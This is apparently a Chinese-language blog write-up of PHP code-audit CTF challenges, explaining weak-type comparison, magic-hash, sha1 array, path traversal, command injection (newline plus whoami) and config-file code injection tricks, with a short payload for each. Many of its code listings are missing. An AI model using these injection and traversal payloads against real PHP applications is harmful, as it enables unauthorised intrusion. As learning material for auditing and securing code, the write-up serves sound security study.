Code-Audit-Challenges
今天开始做p神推荐的Code-Audit-Challenges
弱类型比较
PHP
challenge-2
1 |
|
- is_numeric()用于检测变量是否为数字或数字字符串,像3e123或者0x123这样的字符串都会返回True
- 当3e123这样的字符串强制转换成int时会变成3
1
echo (int)'3e123'; # 输出3
- 因此需要一个指数形式的字符串,范围在606024302和606024303之间等待6秒后即可拿到flag
1
?time=6e6
challenge-7
代码漏了点东西,修改了一下
1 |
|
- md5(admin1674227342)为0e463854177790028825434984462555,可以当成指数来看
- 因此传入一个0e开头,位数相同的字符串即可,比如0e463854177790028825434984462550
challenge-10
1 |
|
需要满足以下几个条件:
- 传入$_GET[‘id’]并且$id==0
- $data==”1112 is a nice lab!”
- strlen($b)>5 and eregi(“111”.substr($b,0,1),”1114”) and substr($b,0,1)!=4)
绕过方法:
- 利用php中非0都为真的特性和弱类型转换的特性即可绕过
1
id=a
- 利用php伪协议php://input
1
2a=php://input
post: 1112 is a nice lab! - 可以将b设为%00111111,这样strlen不会发生截断,substr($b,0,1)为NULL,eregi(“111”,”1114”)匹配成功
challenge-13
1 |
|
- payload
1
?foo={"bar1":"2017aaa","bar2":[[1,2],2,3,4,5],"a2":["nudt"]}&cat[0]=ahtctf2016&cat[1][]=201612&dog=%00
- Code-Audit-Challenges的wp很详细了,就先不分析了
challenge-15
1 |
|
- 利用sha1传入数组会返回NULL
1
?name[]=123&password[]=456
challenge-21
1 |
|
- 目标是读取当前目录下的file_list.php
- 利用弱类型比较和一个php目录穿越的一个trick(先进入一个不存在的文件夹,然后再用../跳回来)
1
?f=file_list/../../file_list.php
challenge-26
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$flag = "xxx";
if (isset($_POST['answer'])){
$number = $_POST['answer'];
if (noother_says_correct($number)){
echo $flag;
} else {
echo "Sorry";
}
}
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
# Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
}
# Allow the magic number ...
return $number == "3735929054";
} - 可以发现3735929054的16进制形式是deadc0de,不包含1-9,因此输入一个0xdeadc0de即可
- 需要注意的是,php7取消了16进制转换的特性,因此这题只能在php5的环境里做
challenge-64
1 |
|
- 最后的payload
1
2?key1=php://input&key2=erewr&key3=0x29a&key4=9999999999999999999999999999
post: Hello hacker! - k1-k3就不写了,记录下k4这个点:
- intval()是有范围限制的
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval(‘1000000000000’) 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807
- php中如果一个整数过大,则会将其转为浮点数
如果给定的一个数超出了 integer 的范围,将会被解释为 float。同样如果执行的运算结果超出了 integer 范围,也会返回 float。
1 | //32位系统下的溢出 |
- 而这时如果把这个超大的浮点数转换为整数,则会返回未定义的值
当从浮点数转换成整数时,将向下取整。
如果浮点数超出了整数范围(32 位平台下通常为 +/- 2.15e+9 = 2^31,64 位平台下,除了 Windows,通常为 +/- 9.22e+18 = 2^63),则结果为未定义,因为没有足够的精度给出一个确切的整数结果。在此情况下没有警告,甚至没有任何通知
测试发现在我的环境下会返回一个0
- 综合利用以上三点,将$k4设为一个很大的值,$k3+$k4会转换为一个浮点数,然后intval会将这个浮点数转为整形,从而发生溢出返回一个0,拿到flag
命令执行
PHP
challenge-6
1 |
|
- 使用%0a即可执行多条命令
1
ip=127.0.0.1%0awhoami
challenge-12
1 |
|
- ?hello=’xxx’);phpinfo();// 或 ?hello=xxx);phpinfo();// 皆可
其他
PHP
challenge-1
1 |
|
- 作者的wp已经很详细了,这题就先不分析了
- 最后的payload
1
Cookie: user[4294967296]=5; user[1]=hund
- 有一个要注意的是作者只说了
challenge will only work on 64bit systems
但实际上php也必须是64位的才行,32位php的数组键值不能是这么大的数,因此user[4294967296]会变为user[‘4294967296’]
chanllenge-3
index.php
1
2
3
4
5
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);option.php
1
2
3
$option='';这题的场景是配置文件写入
解法1
preg_replace没有使用m修饰符,因此只会匹配单行
m (PCRE_MULTILINE)
默认情况下,PCRE 认为目标字符串是由单行字符组成的(然而实际上它可能会包含多行), “行首”元字符 (^) 仅匹配字符串的开始位置, 而”行末”元字符 ($) 仅匹配字符串末尾, 或者最后的换行符(除非设置了 D 修饰符)。这个行为和 perl 相同。 当这个修饰符设置之后,“行首”和“行末”就会匹配目标字符串中任意换行符之前或之后,另外, 还分别匹配目标字符串的最开始和最末尾位置。这等同于 perl 的 /m 修饰符。如果目标字符串 中没有 “\n” 字符,或者模式中没有出现 ^ 或 $,设置这个修饰符不产生任何影响利用这一点,注入一个换行符
1
?option=123';%0a phpinfo();//
这时option.php变为
1
2
3
4
$option='123\';
phpinfo();//';将转义字符\去掉
1
?option=123
这时option.php变为
1
2
3
4
$option='123';
phpinfo();//';解法二
php文档中preg_replace部分有以下内容:
如果要在replacement 中使用反斜线,必须使用4个(“\\\\“,译注:因为这首先是php的字符串,经过转义后,是两个,再经过正则表达式引擎后才被认为是一个原文反斜线)。
其中replacement是第二个参数
- 因此$str中如果存在\\的话会被当成\,可以利用这个\去转义addslashes添加的\
1
?option=123\';phpinfo();//
challenge-5
1 |
|